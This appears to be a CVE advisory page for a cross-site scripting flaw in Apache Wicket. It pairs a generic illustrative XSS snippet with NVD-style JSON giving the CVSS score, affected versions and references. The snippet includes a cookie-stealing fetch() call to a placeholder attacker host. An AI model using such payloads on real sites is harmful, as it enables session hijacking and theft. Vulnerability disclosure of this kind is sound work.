CVE-2026-42509

<!-- Conceptual Proof of Concept (PoC) for CVE-2026-42509 This demonstrates a potential Reflected XSS payload. --> <!-- Attacker constructs a malicious URL --> <!-- http://vulnerable-target.com/vulnerablePage?param=<script>alert('XSS')</script> --> <!-- Alternatively, a stored payload in a user profile field --> <script> // Simulating malicious JavaScript execution // In a real scenario, this would exfiltrate cookies or session tokens alert(document.cookie); // Example of sending data to an external server controlled by the attacker // fetch('http://attacker-server.com/steal?c=' + document.cookie); </script>

{"cve": {"id": "CVE-2026-42509", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:20.217", "lastModified": "2026-05-07T13:16:12.680", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Wicket.\n\nThis issue affects Apache Wicket: from 8.0.0 through 8.17.0, 9.0.0, from 10.0.0 through 10.8.0.\n\nUsers are recommended to upgrade to version 10.9.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndIncluding": "8.17.0", "matchCriteriaId": "757E1B16-2C43-4B59-82BE-DEA456EF0F28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndIncluding": "9.22.0", "matchCriteriaId": "7977D77A-1CBF-41E0-BFE7-55C5B22CD85C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:wicket:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.9.0", "matchCriteriaId": "CE199A15-1741-4988-8C6A-D54F202F65E3"}]}]}], "references": [{"url": "https://lists.apache.org/thread/52nrq4tt07gxz4r6sj5gyocz5s6bprjp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/06/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}